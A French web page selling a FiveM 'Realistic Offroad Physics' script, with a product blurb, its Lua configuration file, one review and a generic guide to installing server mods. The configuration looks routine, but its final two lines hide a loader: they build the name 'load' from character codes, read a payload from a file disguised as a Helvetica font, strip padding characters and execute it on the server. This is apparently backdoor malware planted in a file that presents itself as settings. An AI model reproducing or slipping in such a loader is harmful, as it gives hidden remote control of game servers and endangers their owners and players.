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Physique réaliste du tout-terrain

Le prix initial était : $33.00.Le prix actuel est : $15.00.

Ce script FiveM ajoute physique tout-terrain réaliste, ce qui fait que les types de terrain comme la boue, le sable et la terre affectent les performances du véhicule. Les voitures peuvent couler, perdre de la traction ou rester coincées en fonction de la surface profondeur, douceur, et traction, ajoutant une nouvelle couche de défi et de réalisme à la conduite tout-terrain.

POINTS FORTS

✓ Entièrement synchronisé
✓ Fonctionne sur tous les véhicules
✓ Simulation de profondeur et de traction
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  • Téléchargement instantané
  • Garantie de satisfaction
  • 100% Open Source
  • Fonctionne immédiatement
Description

Vidéo

Fichier de configuration

Config = {}

-- This enabled additional debug commands and logs
-- Debug commands:
-- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values
Config.debug = false


-------------------------------------------------
--- GENERAL SETTINGS
-------------------------------------------------

-- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining.
-- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want
-- a realistic handling. Here are the recommended values:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50

-- General difficulty of the depth handling.
-- 100 = default
-- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles
-- Raise this value to make driving in deep surfaces more difficult
Config.generalDepthDifficulty = 100

-- General speed of the vehicle sinking into the surface
-- 100 = Default
-- Lower this value to make all vehicles sink slower
-- Raise this value to make all vehicles sink faster
Config.generalSinkageSpeed = 100

-- General loss of traction based on vehicle surface
-- Vehicles will be more likely to skid on low traction surfaces
-- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces)
-- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces)
Config.generalTractionLoss = 100



-------------------------------------------------
--- VEHICLE MODIFIERS
-------------------------------------------------

-- Changes that offroad tires will make.
-- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.)
-- tractionOnSoft = Additional traction when on materials of softness that's more than 10
-- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10)
Config.offroadTires = {
    upgradeValue = 50,
    tractionOnSoft = 20,
    tractionOnHard = -10,
}

-- Handling upgrade in deep surface for AWD (4WD) vehicles
Config.awdUpgrade = 25



-------------------------------------------------
--- SCRIPT PERFORMANCE SETTINGS
-------------------------------------------------

-- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance.
-- If your server is known for players with slower devices you might want to turn this up
-- If your players have better computers or you really want the off-roading to look good try turning it down
-- Values between 100 - 500
Config.refreshRate = 200



-------------------------------------------------
--- AREA BLACKLISTING
-------------------------------------------------

-- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink
-- Here you can define custom areas in which the script will not be active in

-- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into
-- incorrectly setup MLO surfaces
Config.areaBlacklist = {
    { -- Pillbox hospital
        coords = vector3(293.17, -584.5, 42.8),
        radius = 20.0
    },
    { -- LSPD
        coords = vector3(444.9, -1003.2, 30.7),
        radius = 60.0
    },
    { -- Simeon's dealership
        coords = vector3(-40.4, -1111.3, 25.8),
        radius = 40.0
    },
    { -- BCSO
        coords = vector3(-446.0, 6013.8, 31.8),
        radius = 50.0
    },
    { -- Sandy Shores PD
        coords = vector3(1853.6, 3685.8, 34.3),
        radius = 25.0
    },
    { -- Legion Square
        coords = vector3(202.3, -941.9, 27.6),
        radius = 120.0
    },
}

-------------------------------------------------
--- DETAILED SETTINGS
-------------------------------------------------

-- Blacklist. This will disable all script functionality for said model/vehicle class
Config.blacklist = {
    models = {
        'rcbandito',
        'monster',
        'rhino',
        'scarab',
        'khanjali',
    },
    classes = {
        [0] = false, -- Compacts
        [1] = false, -- Sedans
        [2] = false, -- SUVs
        [3] = false, -- Coupes
        [4] = false, -- Muscle
        [5] = false, -- Sports Classics
        [6] = false, -- Sports
        [7] = false, -- Super
        [8] = false, -- Motorcycles
        [9] = false, -- Off-road
        [10] = false, -- Industrial
        [11] = false, -- Utility
        [12] = false, -- Vans
        [17] = false, -- Service
        [18] = false, -- Emergency
        [19] = false, -- Military
        [20] = false, -- Commercial
    }
}

-- If you define a model specific multiplier it will be used instead of the class multiplier
-- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62
-- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface
-- 0 = Default
-- Positive values = Better handling / ability to get out of deep surface
-- Negative values = Worse handling / less ability to get out of deep surface
Config.depthHandlingQuality = {
    models = {
        seminole2 = 20,
        sandking = 20,
        sandking2 = 20,
        issi2 = -10,
        panto = -20,
        comet4 = 30,

        -- dirt bikes
        bf400 = 30,
        sanchez = 20,
        manchez = 20,
        esskey = 0,
        cliffhanger = 0,
        enduro = 0,
    },
    classes = {
        [0] = 5, -- Compacts
        [1] = -5, -- Sedans
        [2] = 15, -- SUVs
        [3] = 0, -- Coupes
        [4] = -5, -- Muscle
        [5] = 5, -- Sports Classics
        [6] = 5, -- Sports
        [7] = 5, -- Super
        [8] = -10, -- Motorcycles
        [9] = 35, -- Off-road
        [10] = -10, -- Industrial
        [11] = -10, -- Utility
        [12] = -5, -- Vans
        [17] = 10, -- Service
        [18] = 10, -- Emergency
        [19] = 15, -- Military
        [20] = -5, -- Commercial
    }
}

-------------------------------------------------
--- ROADSIDE SETTINGS
-------------------------------------------------

-- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc.
Config.roadSideHelper = {
    enabled = true,
    
    -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode
    distanceThreshold = 15.0,
    
    -- Depth multiplier
    depthMultiplier = 0.1,

    -- Traction loss multiplier
    tractionMultiplier = 0.25,
}



-------------------------------------------------
--- SURFACES
-------------------------------------------------

-- name = Only used for the ease of config as well as the debug mode
-- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid
-- Maximum 100
-- Minimum 0

-- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches)
-- Maximum infinite
-- Minimum 0

-- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost
-- Maximum infinite
-- Minimum 0

-- Values which will be assigned to all un-configured surfaces
Config.fallbackSurface = {
    name = 'Fallback Surface',
    traction = 100,
    depth = 0,
    softness = 0,
}

Config.surfaces = {
    [1] = {
        name = 'Concrete',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [4] = {
        name = 'Road',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [5] = {
        name = 'Metal',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [6] = {
        name = 'Sandy roadside',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [9] = {
        name = 'Sandstone',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [10] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [11] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [13] = {
        name = 'Cobble',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [16] = {
        name = 'Limestoneesque sand',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [17] = {
        name = 'Rocky dry dirt',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [18] = {
        name = 'Dry sand',
        traction = 80,
        depth = 130,
        softness = 40,
    },
    [19] = {
        name = 'Road sand',
        traction = 90,
        depth = 30,
        softness = 5,
    },
    [20] = {
        name = 'Grainy Sand',
        traction = 80,
        depth = 100,
        softness = 10,
    },
    [21] = {
        name = 'Gravely sand',
        traction = 70,
        depth = 220,
        softness = 30,
    },
    [22] = {
        name = 'Wet hard sand',
        traction = 70,
        depth = 250,
        softness = 50,
    },
    [23] = {
        name = 'Gravel road',
        traction = 75,
        depth = 50,
        softness = 5,
    },
    [24] = {
        name = 'Wet sand',
        traction = 60,
        depth = 350,
        softness = 70,
    },
    [31] = {
        name = 'Gravely dirt/path',
        traction = 70,
        depth = 50,
        softness = 5,
    },
    [32] = {
        name = 'Gravely dirt',
        traction = 70,
        depth = 200,
        softness = 15,
    },
    [35] = {
        name = 'Tuff Sand',
        traction = 90,
        depth = 50,
        softness = 5,
    },
    [36] = {
        name = 'Dirt',
        traction = 70,
        depth = 300,
        softness = 40,
    },
    [37] = {
        name = 'Deep road sand',
        traction = 60,
        depth = 75,
        softness = 15,
    },
    [38] = {
        name = 'Rocky sand',
        traction = 70,
        depth = 150,
        softness = 10,
    },
    [40] = {
        name = 'Moist dirt path',
        traction = 60,
        depth = 150,
        softness = 50,
    },
    [41] = {
        name = 'Swamp grass',
        traction = 50,
        depth = 250,
        softness = 50,
    },
    [42] = {
        name = 'Swamp sand',
        traction = 70,
        depth = 500,
        softness = 110,
    },
    [43] = {
        name = 'Hard Sand',
        traction = 75,
        depth = 50,
        softness = 10,
    },
    [44] = {
        name = 'Dirt/Sand',
        traction = 50,
        depth = 200,
        softness = 25,
    },
    [46] = {
        name = 'Hard grass',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [47] = {
        name = 'Grass',
        traction = 65,
        depth = 125,
        softness = 10,
    },
    [48] = {
        name = 'Tall grass',
        traction = 60,
        depth = 150,
        softness = 20,
    },
    [49] = {
        name = 'Farmland',
        traction = 60,
        depth = 200,
        softness = 35,
    },
    [50] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [51] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [52] = {
        name = 'Dry podzol',
        traction = 80,
        depth = 75,
        softness = 10,
    },
    [64] = {
        name = 'Metal',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [125] = {
        name = 'Drain concrete',
        traction = 70,
        depth = 0,
        softness = 0,
    },
}


-- Zone multiplier
-- This has been added to modify the maximum depth of all surfaces located within zones.
-- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on.
-- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here.
-- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those

-- You can view the zone you're in by using the debug command /surfaceDebug

-- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg
-- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA

Config.zones = {
    {
        name = 'City',
        depthMultiplier = 0.3,
        tractionMultiplier = 0.6,
        zones = {
            'MOVIE',
            'ROCKF',
            'DOWNT',
            'DTVINE',
            'EAST_V',
            'GOLF',
            'LEGSQU',
            'ROCKF',
            'MORN',
            'STAD',
            'DAVIS',
            'RANCHO',
            'STRAW',
            'CHAMH',
            'PBOX',
            'SKID',
            'TEXTI',
            'LMESA',
            'ELYSIAN',
            'TERMINA',
            'HAWICK',
            'ALTA',
            'BURTON',
            'DELPE',
        },
    },
    {
        name = 'City beaches',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'BEACH',
            'DELBE',
        },
    },
    {
        name = 'Mountains',
        depthMultiplier = 1.25,
        tractionMultiplier = 1.1,
        zones = {
            'MTCHIL',
            'MTGORDO',
            'MTJOSE',
            'PALHIGH',
        },
    },
    {
        name = 'Zancudo Swamp',
        depthMultiplier = 1.1,
        tractionMultiplier = 1.1,
        zones = {
            'LAGO',
            'ZANCUDO',
        },
    },
    {
        name = 'Popular',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'PALETO',
            'HARMO',
            'GRAPES',
            'SANDY',
            'RTRAK',
            'ZQ_UAR',
            'HUMLAB',
        },
    },
}


-- (Advanced)
-- When making the vehicles sink the suspension does not always get updated properly.
-- Therefore I had to add a system which updates/refreshes the vehicles suspension.
-- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car
-- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells.
-- The new system "flag" seems to work much better but hasn't been tested with some vehicles.
-- If you encounter any issues with this system, please let us know on our discord <3
Config.suspensionRefresh = {
    enabled = true,
    type = 'flag',
}

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

Avis (1)

1 avis pour Realistic Offroad Physics

  1. vzyyohuj

    Un mod génial ! Il change totalement la sensation de conduite tout-terrain dans le jeu. Je le recommande vivement !

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Comment installer

Ajoutez des mods à votre serveur FiveM comme un pro

Très bien, écoutez bien ! Vous voulez ajouter de super mods à votre serveur FiveM ? Marre des vieux serveurs ennuyeux et envie de pimenter le tout avec des voitures, des scripts ou des cartes personnalisés ? On règle ça ! Installer des mods sur FiveM vous permet de faire passer votre serveur d'un niveau basique à un niveau supérieur. C'est plus simple que vous ne le pensez, même si vous n'êtes pas un expert en informatique. Ce guide vous guidera pas à pas, sans jargon, avec des instructions claires pour que votre serveur soit à la hauteur de vos attentes.

Étape 1 : Obtenez votre mod – Trouvez les goodies

Tout d'abord, vous devez trouver les mods que vous souhaitez réellement. C'est un peu comme faire du shopping, mais pour votre serveur.
  1. Visitez les endroits habituels : Des sites Web comme fivem-mods.net, GTA5-Mods.com sont des mines d'or. De nombreux créateurs y publient leurs œuvres.
  2. La communauté est la clé : Ne négligez pas les forums et les serveurs Discord. Vous y trouverez des trésors cachés et bénéficierez des recommandations d'autres propriétaires de serveurs.
  3. GitHub et sites de développement : Pour découvrir d'autres scripts uniques, consultez GitHub ou les sites web des développeurs. Parfois, les meilleures choses se font hors des sentiers battus.
Conseil de pro : Vérifiez bien que le mod fonctionnera bien avec la version de votre serveur, surtout si vous utilisez des frameworks comme QBCore ou ESX. La compatibilité est primordiale. Une fois votre trésor trouvé, téléchargez les fichiers. Ils seront généralement disponibles dans un dossier. .fermeture éclair ou .rar déposer.

Étape 2 : Préparation du serveur – Préparez-vous à gronder

Bon, il est temps de s'attaquer aux entrailles du serveur. Pas de panique, ce n'est pas de la chirurgie cérébrale.
  1. Accédez aux fichiers de votre serveur : Vous devrez vous connecter au gestionnaire de fichiers de votre serveur. Cela se fait généralement via un client FTP comme FileZilla ou le panneau de configuration de votre hébergeur.
  2. SAUVEZ-LE, les amis : Sérieusement, avant de modifier quoi que ce soit, faites une sauvegarde de vos fichiers serveur. Si vous faites une erreur (et cela nous arrive à tous), vous pourrez simplement la restaurer et faire comme si de rien n'était.
  3. Recherchez le dossier « ressources » : Ceci est votre garage à mods. C'est là que toute la magie opère. Fouillez dans vos fichiers serveur et localisez ressources dossier.

Étape 3 : Installation du module : déposez-le

Passons maintenant à l'événement principal : mettre ce mod en ligne.
  1. Extraire les fichiers : Si votre mod est zippé, décompressez-le dans un dossier sur votre ordinateur.
  2. Télécharger dans le dossier « ressources » : Utilisez votre client FTP ou votre gestionnaire de fichiers pour glisser-déposer (télécharger) le dossier mod extrait dans le ressources dossier sur votre serveur.
    • Le nom du dossier est important : Assurez-vous que le nom du dossier est quelque chose que vous reconnaîtrez plus tard, vous en aurez besoin pour la configuration du serveur.
  3. Dites à votre serveur de charger le mod : Il s'agit du bit server.cfg.
    • Ouvrez votre serveur.cfg fichier. Il se trouve dans le répertoire principal de votre serveur.
    • Ajoutez une ligne comme celle-ci : assurer [mod_name]
    • Remplacer [nom_mod] avec le nom réel de votre dossier mod.
    • Exemple: Si votre dossier mod s'appelle voiture de drift malade, tu ajouterais assurer sick_drift_car.
assurer [mod_name]
assurer mon_car_mod

Étape 4 : Dépendances : les extras dont vous pourriez avoir besoin

Parfois, les mods sont un peu gourmands en ressources et nécessitent des éléments supplémentaires pour fonctionner. On les appelle des dépendances.
  1. Vérifiez les informations du mod : Le créateur du mod devrait vous indiquer s'il existe des dépendances. Consultez la documentation !
  2. Installer les dépendances : S'il y a des dépendances, téléchargez-les et installez-les dans le même ressources dossier, comme vous l'avez fait avec le mod principal à l'étape 3.
  3. Charger également les dépendances : Vous devrez également ajouter assurer [dependency_name] lignes dans votre serveur.cfg fichier pour chaque dépendance, au-dessus du assurer [mod_name] ligne pour votre mod principal.

Étape 5 : Redémarrage du serveur – Lancez-le

Il est temps de redémarrer et de voir si tout fonctionne.
  1. Redémarrez votre serveur : Utilisez le bouton « Redémarrer » dans votre panneau de configuration ou redémarrez-le manuellement si vous êtes de la vieille école.
  2. Regardez la console : Surveillez la console de votre serveur après le redémarrage. Des messages d'erreur ou des messages rouges s'affichent-ils ? Si oui, consultez la documentation du mod ou recherchez l'erreur sur Google.

Étape 6 : Test en jeu : Est-ce que ça marche ?

Entrez dans le jeu et voyez si votre mod fait son travail.
  1. Rejoignez votre serveur : Démarrez FiveM et connectez-vous à votre serveur.
  2. Testez-le : Le mod fonctionne-t-il comme prévu ? La voiture est neuve ? Le script fait-il son travail ? La carte a l'air neuve ?

Étape 7 : Dépannage – En cas de problème

Parfois, les choses ne se passent pas comme prévu. Pas de panique, ça arrive aux meilleurs.
  • Vérifier les chemins d’accès aux fichiers : Vos fichiers sont-ils dans les bons dossiers ? Vérifiez tout.
  • Examiner les journaux du serveur : Les journaux du serveur sont vos amis. Ils vous informent en cas de problème.
  • Mettre à jour les dépendances : Vos dépendances sont-elles à jour ? Des dépendances obsolètes peuvent causer des problèmes.
  • Vérification de compatibilité à nouveau : Le mod est-il réellement compatible avec votre version FiveM et d'autres mods ? Des conflits peuvent survenir.

FAQ - Réponses à vos questions brûlantes

Q : Où puis-je trouver de bons mods FiveM ?
UN: Des sites web comme fivem-mods.net et GTA5-Mods.com sont d'excellents points de départ. Les forums communautaires et les serveurs Discord sont également des mines d'or.
Q : Qu'est-ce que « server.cfg » et pourquoi dois-je le modifier ?
UN: serveur.cfg C'est le cerveau de votre serveur. Il lui indique quoi charger et comment se comporter. Vous devez le modifier pour lui indiquer de charger vos nouveaux mods.
Q : Que faire si le mod ne fonctionne pas après l'installation ?
UN: C'est l'heure du dépannage ! Vérifiez les chemins d'accès aux fichiers, les journaux du serveur, les dépendances et la compatibilité des mods (comme indiqué à l'étape 7). Google est aussi votre ami !
Q : Dois-je redémarrer tout mon serveur à chaque fois que j'installe un mod ?
UN: Oui, c'est vrai. Redémarrer le serveur recharge toutes les ressources, y compris votre nouveau mod installé.
Q : Les mods peuvent-ils casser mon serveur ?
UN: Potentiellement, s'ils sont mal conçus ou incompatibles. Téléchargez toujours les mods depuis des sources fiables et sauvegardez votre serveur avant d'installer quoi que ce soit de nouveau.

Mot de la fin - Mod comme un patron

Vous voyez ? Installer des mods sur votre serveur FiveM n'est pas sorcier. Il suffit de suivre les étapes, d'être prudent et de ne pas avoir peur d'expérimenter. Lancez-vous, trouvez des mods exceptionnels et faites de votre serveur FiveM un endroit jaloux. Bon modding !

Des mods qui étendront le jeu de rôle

  • Garantie de remboursement:Si vous n'êtes pas satisfait, nous vous proposons une politique de remboursement sans poser de questions.
  • Contenu exclusif:Nos mods et scripts sont conçus de manière professionnelle et exclusifs à notre plateforme.
  • Approuvé par la communauté:Rejoignez des milliers de propriétaires de serveurs FiveM qui comptent sur nous pour des ressources de qualité.
  • Conception de haute qualité:Construit avec des pratiques de codage optimisées pour des performances de premier ordre.
  • Intégration transparente:Installez et exécutez facilement sur n'importe quel serveur FiveM sans problèmes de compatibilité.
  • Options personnalisables: Ajustez les paramètres et les fonctionnalités pour les adapter au style unique de votre serveur.
  • Performances optimisées:Testé pour garantir une utilisation minimale des ressources et une efficacité maximale.
  • Mises à jour à vie:Gardez une longueur d'avance grâce aux mises à jour et améliorations continues incluses sans frais supplémentaires.